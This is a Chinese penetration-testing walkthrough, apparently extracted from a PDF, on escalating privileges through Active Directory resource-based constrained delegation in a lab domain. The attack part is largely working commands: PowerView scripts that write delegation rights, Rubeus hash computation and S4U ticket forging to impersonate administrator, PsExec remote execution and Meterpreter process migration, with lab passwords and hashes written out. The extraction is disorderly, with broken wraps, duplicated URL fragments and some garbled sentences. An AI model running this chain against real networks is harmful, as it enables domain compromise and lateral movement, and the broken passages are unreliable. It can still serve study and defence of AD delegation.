https://xzfile.aliyuncs.com/media/upload/picture/20201221134034-0c095dfe-434f-1.png
https://github.com/Kevin-Robertson/Powermad


查看域 computers 组的⽤户

shell net group "domain computers" /domain 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4038-0e00375e-434f-1.png)

查看 0xxk 是否注册了 SPN 服务

shell setspn.exe -q */* 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4041-0ffe7002-434f-1.png)

OK，这样 0xxk 机器账户就满⾜接受委派的要求了！

这⼀点就像⾮约束委派与约束委派，必须要有⾜够的权限来进⾏设

置！前两种显⽽易⻅⼀般都是域控拥有这个添加权限 但是基于资

设置资源约束委派对象

https://xzfile.aliyuncs.com/media/upload/picture/20201221134038-0e00375e-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134041-0ffe7002-434f-1.png


置！前两种显⽽易⻅ 般都是域控拥有这个添加权限，但是基于资

源的约束委派就是避免了每次都有域控去设置这⼀点！基于资源的

约束委派对象是可以由主机本身来设置的！

那么需要需要拥有什么样的权限才可以设置呢？

分别有两种

将主机加⼊域的域账号

主机机器账号本身可以设置

那么可以就很明了了，只需要使⽤当前的域 test 账户就可以设置此

账号加⼊域的主机委派对象了！

有两种⽅法可以设置资源约束委派的对象

(1) 使⽤ Empire 中的 powerview.ps1 脚本

⾸先需要获取委派对象的域 SID

在这⾥我使⽤ empire 套件中的 powerview.ps1 来进⾏获取 0xxk

账户 SID

shell powershell.exe -exec bypass -Command "& {Import-Module 
.\C:\Users\test\Desktop\WP\powerview.ps1;Get-DomainComputer -
Identity 0xxk -Properties objectsid}" 

上⾯那条命令存在存在着⼀个 bug，就是即使

C:\Users\test\Desktop\WP\powerview.ps1 存在。也会报错，说

找不到。因此最好的解决⽅法是切换到 WP ⽬录下来执⾏如下命令

shell powershell.exe -exec bypass -Command "& {Import-Module 
.\powerview.ps1;Get-DomainComputer -Identity 0xxk -Properties 
objectsid}" 

但是 CS 中我使⽤的⾮交互式会话固定⽬录，因此写了⼀个

shell.bat 来切换⽬录并执⾏脚本。如下

cd C:\Users\test\Desktop\WP\ 
powershell.exe -exec bypass -Command "& {Import-Module .\powe
rview.ps1;Get-DomainComputer -Identity 0xxk -Properties objec
tsid}" > user.txt

https://xzfile.aliyuncs.com/media/upload/picture/20201221134048-144a2de0-434f-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4048-144a2de0-434f-1.png)

在这⾥执⾏它，会在 WP ⽬录下输出 user.txt

shell type C:\Users\test\Desktop\WP\user.txt 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4051-16367762-434f-1.png)

在这⾥得到 SID

S-1-5-21-3502871099-3777307143-1257297015-1610 

接下⾥继续使⽤ Empire 中的 powerview.ps1 脚本来添加信任，这

⾥存在⼀个问题。就是执⾏的代码⼀部分是 powershell 的赋值代

码，⼀部分 powerview.ps1 中间的模块。这些代码需要⼀起执⾏，

需要将这些全部写在⼀个 ps1 ⽂件中。如果⼀条条执⾏是不起作⽤

的！

在这⾥书写 shell.ps1，第⼀⾏中设置接受委派账号的域 SID！最后

⼀⾏的 Get-DomainComputer 写被攻击的机器名来设置委派关

系。在这⾥先攻击 WIN8（test 将 WIN8 WIN7 两台机器加⼊域

中）

https://xzfile.aliyuncs.com/media/upload/picture/20201221134048-144a2de0-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134051-16367762-434f-1.png


$SD = New-Object Security.AccessControl.RawSecurityDescriptor 
-ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-2
1-3502871099-3777307143-1257297015-1610)" 
$SDBytes = New-Object byte[] ($SD.BinaryLength) 
$SD.GetBinaryForm($SDBytes, 0) 
Import-Module C:\Users\test\Desktop\WP\powerview.ps1 
Get-DomainComputer WIN8 | Set-DomainObject -Set @{'msds-allow
edtoactonbehalfofotheridentity'=$SDBytes} -Verbose 

这时候将代码上传到⼈家机器上，并进⾏攻击！

shell powershell -ExecutionPolicy bypass -File ./shell.ps1 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4056-190db270-434f-1.png)

出现这样的介绍就设置成功了！

下载链接

(2) 使⽤ AD 模块增加信任关系

经过测试存在版本局限性，因此仅做 WIN7 的实验演示

这个模块虽然是 Microsoft.ActiveDirectory.Management.dll，但

是版本却和其他攻击⽅式中的不⼀样。在这⾥版本使⽤的是

6.3.9600.16384！ 

https://github.com/EmpireProject/Empire

(https://github.com/EmpireProject/Empire)

https://xzfile.aliyuncs.com/media/upload/picture/20201221134056-190db270-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134101-1bb620c0-434f-1.png
https://github.com/EmpireProject/Empire


(https://xzfile.aliyuncs.com/media/upload/picture/20201221134

101-1bb620c0-434f-1.png)

下载链接

将代码保存在 AD.ps1 中，增加 WIN7 与 0xxk 的资源委派关系

Import-Module .\Microsoft.ActiveDirectory.Management.dll 
Set-ADComputer WIN8 -PrincipalsAllowedToDelegateToAccount 0xx
k$ 
Get-ADComputer WIN8 -Properties PrincipalsAllowedToDelegateTo
Account

2012 上使⽤命令执⾏代码

powershell -ExecutionPolicy bypass -File ./AD.ps1 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4105-1e672fc6-434f-1.png)

但是会发现这个版本⽆法在 win7 2008 上都⽆法使⽤！在 2012 上

https://codeload.github.com/3gstudent/test/zip/maste

r

(https://codeload.github.com/3gstudent/test/zip/mast

er)  

https://github.com/samratashok/ADModule

(https://github.com/samratashok/ADModule)

https://xzfile.aliyuncs.com/media/upload/picture/20201221134101-1bb620c0-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134105-1e672fc6-434f-1.png
https://codeload.github.com/3gstudent/test/zip/master
https://github.com/samratashok/ADModule


但是会发现这个版本⽆法在 win7 2008 上都⽆法使⽤！在 2012 上

可以使⽤ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4108-20591f7e-434f-1.png)

使⽤的⼯具为 Rubeus，因为请求中使⽤的是我们加⼊的机器账户

的 NTLM HASH。因此使⽤命令或者⾃⼰算⼀下 NTLM Hash 值，

在这⾥我是⽤ Rubeus 来进⾏计算

shell C:\WP\Rubeus35.exe hash /user:0xxk$ /password:QWE123!@# 
/domain:hacke.testlab 

进⾏攻击

https://xzfile.aliyuncs.com/media/upload/picture/20201221134108-20591f7e-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134113-23065aac-434f-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4113-23065aac-434f-1.png)

在这⾥得到 NTLM Hash

35C83173A6FB6D142B0359381D5CC84C 

接下来需要使⽤ 0xxk$ 账户的凭证发起请求，在这⾥等同于委派的

服务发起请求。⽽ 0xxk$ 账户的凭证在 Rubeus 中需要使⽤账号密

码 hash 来⽣成。

第⼀部分委派的 SPN 服务凭证

/user:0xxk$ /rc4:35C83173A6FB6D142B0359381D5CC84C 

第⼆部分，伪造的⽤户和对应的服务

/impersonateuser:administrator /msdsspn:cifs/WIN8 

第三部分，直接使⽤ ptt 注⼊到内存中来使⽤

/ptt 

总和如下

Rubeus.exe s4u /user:0xxk$ /rc4:35C83173A6FB6D142B0359381D5CC
84C /impersonateuser:administrator /msdsspn:cifs/WIN8.hacke.t
estlab /ptt 

在这⾥⼤家肯定会发现⼀个问题，就是我们指定了要请求的服务！

在约束委派中服务是固定的，但是在资源委派的设置中，我们可以

发现只设置了委派对象，⽽没有设置指定的服务。因此这⾥我们可

以指定 WIN7 拥有的 SPN 服务！

在这⾥有⼀个 BUG 必须和⼤家讲⼀下！这⼀点坑了我很久，直到

对⽐了国内所有⽂章的每⼀步才总结出来！

⾸先我们看到 https //xz aliyun com/t/7454#toc 1

https://xzfile.aliyuncs.com/media/upload/picture/20201221134113-23065aac-434f-1.png
https://xz.aliyun.com/t/7454#toc-1


⾸先我们看到 https://xz.aliyun.com/t/7454#toc-1

(https://xz.aliyun.com/t/7454#toc-1)  ⽂章中，发起请求服务只

写了 cifs / 机器名 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4120-2787bcec-434f-1.png)

看绿盟的⽂章

https://cloud.tencent.com/developer/article/1552171

(https://cloud.tencent.com/developer/article/1552171)  ，他使

⽤了 cifs / 域名全称 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4124-29e31e78-434f-1.png)

再看 A-Team 分析⽂章中的 wireshark 抓包 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4128-2c3722aa-434f-1.png)

绿盟和 A-Team 均使⽤了域名全称来发起请求，⽽先知的⽂章则只

是使⽤了机器名来发起请求。这⼀点⾮常的重要！

https://xz.aliyun.com/t/7454#toc-1
https://xzfile.aliyuncs.com/media/upload/picture/20201221134120-2787bcec-434f-1.png
https://cloud.tencent.com/developer/article/1552171
https://xzfile.aliyuncs.com/media/upload/picture/20201221134124-29e31e78-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134128-2c3722aa-434f-1.png


⾸先使⽤正确的⽅法来进⾏请求演示！

1. 使⽤清空票据

shell klist purge

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4133-2ee1066a-434f-1.png)

2. 尝试访问 WIN8 的 CIFS 服务

shell dir \\WIN8\C$ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4136-30c62636-434f-1.png)

3. 使⽤⼯具请求伪造 CIFS 票据

shell C:\WP\Rubeus35.exe s4u /user:0xxk$ /rc4:35C83173A6FB6D1
42B0359381D5CC84C /impersonateuser:administrator /msdsspn:cif
s/WIN8.hacke.testlab /ptt 

https://xzfile.aliyuncs.com/media/upload/picture/20201221134133-2ee1066a-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134136-30c62636-434f-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4140-33053f54-434f-1.png)

4. 再次请求 WIN8 的 cifs 服务

shell dir \\WIN8\C$ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4144-3565bc88-434f-1.png)

使⽤错误的⽅式进⾏请求

https://xzfile.aliyuncs.com/media/upload/picture/20201221134140-33053f54-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134144-3565bc88-434f-1.png


使⽤错误的⽅式进⾏请求

1. 清空票据发起访问请求

shell klist purge
shell dir \\WIN8\C$ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4147-379ecdf0-434f-1.png)

2. 仅使⽤机器名进⾏票据伪造，也会提示成功

shell C:\WP\Rubeus35.exe s4u /user:0xxk$ /rc4:35C83173A6FB6D1
42B0359381D5CC84C /impersonateuser:administrator /msdsspn:cif
s/WIN8 /ptt 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

https://xzfile.aliyuncs.com/media/upload/picture/20201221134147-379ecdf0-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134153-3ab0f0e0-434f-1.png


4153-3ab0f0e0-434f-1.png)

3. 尝试访问 WIN8 的 CIFS 服务，会发现失败！

shell dir \\WIN8\C$ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4156-3cd2c8ee-434f-1.png)

这⼀点⼤家实验时需要额外关注！因为在其他攻击⽅法中，我没有

遇到使⽤缩写会失败的情况。包括下⾯这种

在这⾥已经实现了访问 CIFS 功能，但是我们需要在上⾯执⾏命

令。这个时候还需要再请求⼀个 host 服务，在这⾥ host 服务需要

使⽤缩写，使⽤全称会失败！

shell C:\WP\Rubeus35.exe s4u /user:0xxk$ /rc4:35C83173A6FB6D1
42B0359381D5CC84C /impersonateuser:administrator /msdsspn:hos
t/WIN8 /ptt 

https://xzfile.aliyuncs.com/media/upload/picture/20201221134153-3ab0f0e0-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134156-3cd2c8ee-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134200-3f48b2be-434f-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4200-3f48b2be-434f-1.png)

不管是 msf 还是 cs，都⽆法使⽤交互式的⼯具才进⾏操作。因此

需要使⽤单条命令来执⾏，在这⾥我使⽤ psexec。需要注意两点，

⼀点是需要加上 accepteula 来防⽌弹框导致的⽆法执⾏，⼆是因为

不能回显内容，所以需要将数据写⼊到⽂件后，使⽤ type 来查看！

查看当前的机器名

shell C:\WP\PsExec.exe \\WIN8 cmd.exe /accepteula /c "hostnam
e > c:\host.txt" 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4205-4250e3aa-434f-1.png)

shell type \\WIN8\C$\hostname.txt 

查看当前权限

shell C:\WP\PsExec.exe \\WIN8 cmd.exe /accepteula /c "whoami 
> c:\whoami.txt" 

https://xzfile.aliyuncs.com/media/upload/picture/20201221134200-3f48b2be-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134205-4250e3aa-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134213-46fc5bd2-434f-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4213-46fc5bd2-434f-1.png)

查看数据，可以看到是域控的 administrator 权限

shell type \\WIN8\C$\whoami.txt 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4224-4d83a2f8-434f-1.png)

在这⾥理论体系扎实的同学肯定感觉疑惑，为什么这⾥不是 system

呢？因为这⾥并不是 psexec ⾮交互模式进⼊的！⽽是使⽤当前票

据请求的权限！ 

https://xzfile.aliyuncs.com/media/upload/picture/20201221134213-46fc5bd2-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134224-4d83a2f8-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134235-53f1ee06-434f-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4235-53f1ee06-434f-1.png)

并且有这⾥的域控权限也是假的！虽然是 HACKE\administrator

，但是只有本地管理员的权限。⽆法对域控发起请求，根据笔者的

推测，原因可能是就是票据，每次发起域请求都会⽤到密码 Hash

和票据。但是这⾥没有，因此当前虽是域管理，实则⽆权限操纵域

控！

绿盟的⽂章中写遇到了这⼀点，具体原理笔者不再描述。请转⾄如

下研读

https://cloud.tencent.com/developer/article/1552171 

不知道⼤家有没有发现，刚刚所演示的这⼀个点⾄关重要。只有通

过域 test 账户凭证发起的请求，才能够设置 WIN7 和机器账户

0xxk 之间的委派关系。之前加机器账户，system 或者其他域权限

就可以做到。设置完委派后的攻击阶段，只要机器能够访问到域控

就可以了！

因此设置委派关系笔者⼜思考了另外两种可⾏的情况:

1. 拿到了 administrator 或者 system 权限，但是不存在域 test 账

户的进程。但能通过 mimikatz 拿到 HASH 破解出了明⽂密码。

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4239-5656b924-434f-1.png)

随后使⽤⼯具 lsrunas.exe 来以域 test 账户起⼀个计算器进程

shell C:\Users\Administrator\Desktop\lsrunas.exe /user:test /
password:QWE123!@# /domain:hacke.testlab /command:"calc.exe" 
/runpath:c: 

https://xzfile.aliyuncs.com/media/upload/picture/20201221134235-53f1ee06-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134239-5656b924-434f-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4243-58bcaab6-434f-1.png)

随后可以看到出现了域 test 账户起的进程 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4247-5b36a904-434f-1.png)

⼯具链接

http://www.verydoc.com/exeshell.html 

参考⽂章

在 cs 中切换进程遇到了点问题，因此⽣成了⼀个 MSF 的⻢进⾏权

限切换。剩下的步骤和 2 中的环境⼀样，因此放在情况 2 中⼀起演

示。

拿到 或者 权 前机 存在域

https://3gstudent.github.io/3gstudent.github.io/%E6%

B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-

%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8

D%E6%9D%83%E5%90%AF%E5%8A%A8/

(https://3gstudent.github.io/3gstudent.github.io/%E6%

B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-

%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8

D%E6%9D%83%E5%90%AF%E5%8A%A8/)

https://xzfile.aliyuncs.com/media/upload/picture/20201221134243-58bcaab6-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134247-5b36a904-434f-1.png
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8D%E6%9D%83%E5%90%AF%E5%8A%A8/


2. 拿到了 administrator 或者 system 权限，当前机器存在域 test

账户进程

这个时候我们可以通过 msf ⻢，进程注⼊域账户 test 的进程中！

⾸先找到域 test 账户对应的 pid

ps 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4253-5e81d35e-434f-1.png)

可以看到当前⽤户 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4256-603f084c-434f-1.png)

使⽤命令注⼊到 HACKE\test ⽤户的进程

migrate 5024

可以看到成功降权到了域普通账户 test 

https://xzfile.aliyuncs.com/media/upload/picture/20201221134253-5e81d35e-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134256-603f084c-434f-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20201221134300-62a0c3e6-434f-1.png


(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4300-62a0c3e6-434f-1.png)

剩下的步骤其实和 CS 中是⼀样的，因为 MSF 这⾥使⽤⼯具也是

⾮交互的！

pass: 

在这⾥需要注意，我们的 powerview.ps1 所放的⽬录必须是域 test

普通账户能够访问的位置！

在这⾥已经通过基于资源的约束委派拿到 WIN8 的 administrator

权限！那么我们当前域账户 test 所登录的 WIN7 机器也可以通过同

样的操作⼿法拿下吗？答案是不⾏的，因为当前 WIN7 上登录了域

账户 test，即使申请来 HACKE\administrator 对 WIN7 得票据，

也⽆法在域 test 账户下对本身主机再发起请求。因此这⾥得解决得

⽅式可以通过域内其他主机来进⾏攻击，如果当前没有其他机器得

权限。那么可以在 kali 上配置，使⽤ getst.py 来进⾏攻击。

我们换⼀种思考⽅式。拿下本机的管理员权限，就相当于提权。那

么这种提权⽅式学名是什么呢？它的学名叫做 “烂番茄”！

我们还可以通过 iis 等权限在域中进⾏提权，因为 iis 对域控发起请

求时⽤的是机器账号的权限！这种⽅式笔者主要参考的还是 A-

Team 得⽂章，并不认为这些原理分析⾃⼰写的能⽐他们好，因此

附上链接

https://mp.weixin.qq.com/s?

__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&

sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5

bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fd

e133c13a5f0107e699d47840c&scene=126&sessionid=15

84603915&key=cf63f0cc499df801cce7995aeda59fae16

a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c62

https://xzfile.aliyuncs.com/media/upload/picture/20201221134300-62a0c3e6-434f-1.png
https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fde133c13a5f0107e699d47840c&scene=126&sessionid=1584603915&key=cf63f0cc499df801cce7995aeda59fae16a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c6208343e0c235450a6bd202bf7520f6368cf361466baf9785a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=NTgyNDEzOTc%3D&devicetype=Windows+10&version=62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBWKaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh3AOMIfoBgH2TXNSxmnLYPig8%3D


使⽤代码. net 代码编译 exe，查询主机加⼊域所使⽤的域账号！

08343e0c235450a6bd202bf7520f6368cf361466baf978

5a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=

NTgyNDEzOTc%3D&devicetype=Windows+10&version=

62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBW

KaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh

3AOMIfoBgH2TXNSxmnLYPig8%3D

(https://mp.weixin.qq.com/s?

__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&

sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5

bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fd

e133c13a5f0107e699d47840c&scene=126&sessionid=15

84603915&key=cf63f0cc499df801cce7995aeda59fae16

a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c62

08343e0c235450a6bd202bf7520f6368cf361466baf978

5a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=

NTgyNDEzOTc%3D&devicetype=Windows+10&version=

62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBW

KaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh

3AOMIfoBgH2TXNSxmnLYPig8%3D)

⼯具准备

https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fde133c13a5f0107e699d47840c&scene=126&sessionid=1584603915&key=cf63f0cc499df801cce7995aeda59fae16a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c6208343e0c235450a6bd202bf7520f6368cf361466baf9785a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=NTgyNDEzOTc%3D&devicetype=Windows+10&version=62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBWKaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh3AOMIfoBgH2TXNSxmnLYPig8%3D


using System; 
using System.Security.Principal; 
using System.DirectoryServices; 
namespace ConsoleApp9 
{ 
    class Program
    { 
        static void Main(string[] args) 
        { 
            DirectoryEntry ldap_conn = new DirectoryEntry("LD
AP://dc=hacke,dc=testlab");  //这⾥改成对⽅的域名 
            DirectorySearcher search = new DirectorySearcher
(ldap_conn);
            String query = "(&(objectClass=computer))";//查找
计算机 
            search.Filter = query; 
            foreach (SearchResult r in search.FindAll()) 
            { 
                String mS_DS_CreatorSID=""; 
                String computername = ""; 
                try 
                {
                    computername = r.Properties["dNSHostNam
e"][0].ToString(); 
                    mS_DS_CreatorSID = (new SecurityIdentifie
r((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString
(); 
                    //Console.WriteLine("{0} {1}\n", computer
name, mS_DS_CreatorSID); 
                }
                catch 
                {
                    ; 
                }
                //再通过sid找⽤户名 
                String UserQuery = "(&(objectClass=user))"; 
                DirectorySearcher search2 = new DirectorySear
cher(ldap_conn); 
                search2.Filter = UserQuery; 
 
 
                foreach (SearchResult u in search2.FindAll()) 
                {
                    String user_sid = (new SecurityIdentifier
((byte[])u.Properties["objectSid"][0], 0)).ToString(); 
 
                    if (user_sid == mS_DS_CreatorSID) { 
                        //Console.WriteLine("debug"); 



                        String username = u.Properties["nam
e"][0].ToString(); 
                        Console.WriteLine("[*] [{0}] -> creat
or  [{1}]",computername, username); 
                    } 
                }
            } 
        } 
    } 
} 

在编译过程中可能会报错缺少引⽤库，只需要加上就可以了！ 

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4346-7e256342-434f-1.png)

(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4355-83aeef90-434f-1.png)

并且最好多编译⼏个版本，4.0 版本 12 + 可以⽤ ，⽽ win7 08 就

⽤不了。4.0 以下的 7 8 都能⽤ 

https://xzfile.aliyuncs.com/media/upload/picture/20201221134346-7e256342-434f-1.png
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(https://xzfile.aliyuncs.com/media/upload/picture/2020122113

4327-72e0ebe6-434f-1.png)

参考链接

https://www.notion.so/N1CTF-King-of-phish-

20f2714fc85d40a7bc0d1666b29bf43f

(https://www.notion.so/N1CTF-King-of-phish-

20f2714fc85d40a7bc0d1666b29bf43f)  

https://www.harmj0y.net/blog/activedirectory/the-

most-dangerous-user-right-you-probably-have-

never-heard-of/

(https://www.harmj0y.net/blog/activedirectory/the-

most-dangerous-user-right-you-probably-have-

never-heard-of/)  

http://blog.harmj0y.net/ (http://blog.harmj0y.net/)  

https://xz.aliyun.com/t/7217#toc-1

(https://xz.aliyun.com/t/7217#toc-1)  

https://xz.aliyun.com/t/6210

(https://xz.aliyun.com/t/6210)  

https://github.com/3xpl01tc0d3r/ProcessInjection

(https://github.com/3xpl01tc0d3r/ProcessInjection)  

https://xz.aliyun.com/t/7517?

accounttraceid=24d9a2a8373a4f06ae2ff658e447b56fq

ngz (https://xz.aliyun.com/t/7517?

accounttraceid=24d9a2a8373a4f06ae2ff658e447b56fq

ngz)  

https://www.freebuf.com/articles/system/198381.html

(https://www.freebuf.com/articles/system/198381.html)  

https://xz.aliyun.com/t/7454#toc-1

(https://xz.aliyun.com/t/7454#toc-1)  

https://cloud.tencent.com/developer/article/1552171

(https://cloud.tencent.com/developer/article/1552171)  

https://blog.csdn.net/qq_45521281/article/details/1059
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https://cloud.tencent.com/developer/article/1552171
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41102

(https://blog.csdn.net/qq_45521281/article/details/1059

41102)  

https://3gstudent.github.io/3gstudent.github.io/%E6%

B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-

Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%

88%A9%E7%94%A8/

(https://3gstudent.github.io/3gstudent.github.io/%E6%

B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-

Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%

88%A9%E7%94%A8/)  

https://3gstudent.github.io/3gstudent.github.io/%E6%

B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-

%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8

D%E6%9D%83%E5%90%AF%E5%8A%A8/

(https://3gstudent.github.io/3gstudent.github.io/%E6%

B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-

%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8

D%E6%9D%83%E5%90%AF%E5%8A%A8/)  

https://blog.csdn.net/a3320315/article/details/107096

250/

(https://blog.csdn.net/a3320315/article/details/107096

250/)  

https://github.com/samratashok/ADModule

(https://github.com/samratashok/ADModule)  

https://mp.weixin.qq.com/s?

__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&

sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5

bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fd

e133c13a5f0107e699d47840c&scene=126&sessionid=15

84603915&key=cf63f0cc499df801cce7995aeda59fae16

a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c62

08343e0c235450a6bd202bf7520f6368cf361466baf978

5a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=

NTgyNDEzOTc%3D&devicetype=Windows+10&version=

62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBW

KaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh

3AOMIfoBgH2TXNSxmnLYPig8%3D

(https://mp.weixin.qq.com/s?

biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&

https://blog.csdn.net/qq_45521281/article/details/105941102
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/
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https://blog.csdn.net/a3320315/article/details/107096250/
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https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fde133c13a5f0107e699d47840c&scene=126&sessionid=1584603915&key=cf63f0cc499df801cce7995aeda59fae16a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c6208343e0c235450a6bd202bf7520f6368cf361466baf9785a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=NTgyNDEzOTc%3D&devicetype=Windows+10&version=62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBWKaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh3AOMIfoBgH2TXNSxmnLYPig8%3D


PAC 是特权属性证书，⽤来向 Serber 端表明 Client 的权限。

当⽤户 Client-A 与 Serber-B 完成认证， 只是向 Serber-B 证明

了 Client-A 就是所谓的 Client-A，但此时 Client-A 如果需要访问

Server-B 上的⽹络资源，但 Server-B 现在其实并不直到 Client-

A 是否有访问⾃身⽹络资源的权限 (Kerberos 协议中并没有关规定

权限问题)

于是就巧妙的引⼊了 PAC 解决了这个问题

__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&

sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5

bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fd

e133c13a5f0107e699d47840c&scene=126&sessionid=15

84603915&key=cf63f0cc499df801cce7995aeda59fae16

a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c62

08343e0c235450a6bd202bf7520f6368cf361466baf978

5a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=

NTgyNDEzOTc%3D&devicetype=Windows+10&version=

62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBW

KaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh

3AOMIfoBgH2TXNSxmnLYPig8%3D)  

https://www.secureauth.com/blog/kerberos-

delegation-spns-and-more/

(https://www.secureauth.com/blog/kerberos-

delegation-spns-and-more/)  

http://www.harmj0y.net/blog/activedirectory/s4u2pwn

age/

